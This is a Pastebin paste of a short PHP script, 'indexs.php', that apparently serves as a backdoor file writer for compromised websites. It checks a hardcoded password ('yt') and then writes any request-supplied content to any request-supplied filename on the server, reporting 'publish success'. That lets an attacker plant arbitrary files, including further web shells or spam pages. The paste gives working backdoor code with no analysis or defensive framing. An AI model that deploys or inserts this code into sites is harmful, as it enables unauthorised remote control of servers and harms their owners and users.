PalmaSolutions

indexs.php

Mar 19th, 2018
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ERROR);
  3. //set_time_limit(0);
  4. //header("Content-Type: text/html; charset=utf-8");
  5. $system_password="yt";
  6. $action=$_REQUEST['action'];
  7. $password=$_REQUEST['password'];
  8. $filename=$_REQUEST['filename'];
  9. $body=stripslashes($_REQUEST['body']);
  10.  
  11. if($password!=$system_password)
  12. {
  13. echo 'password error';
  14. return;
  15. }
  16.  
  17. if($action=="test")
  18. {
  19. echo 'test success';
  20. return;
  21. }
  22.  
  23. $wjj=dirname(__FILE__);
  24. if(!file_exists($wjj))
  25. {
  26. mkdir($wjj,0777);
  27. }
  28.  
  29. $fp=fopen($filename,"w");
  30. //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
  31. fwrite($fp,"\xEF\xBB\xBF".$body);
  32. fclose($fp);
  33.  
  34. if(file_exists($filename))
  35. {
  36. chmod($filename,0644);
  37. }
  38. echo "publish success";
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment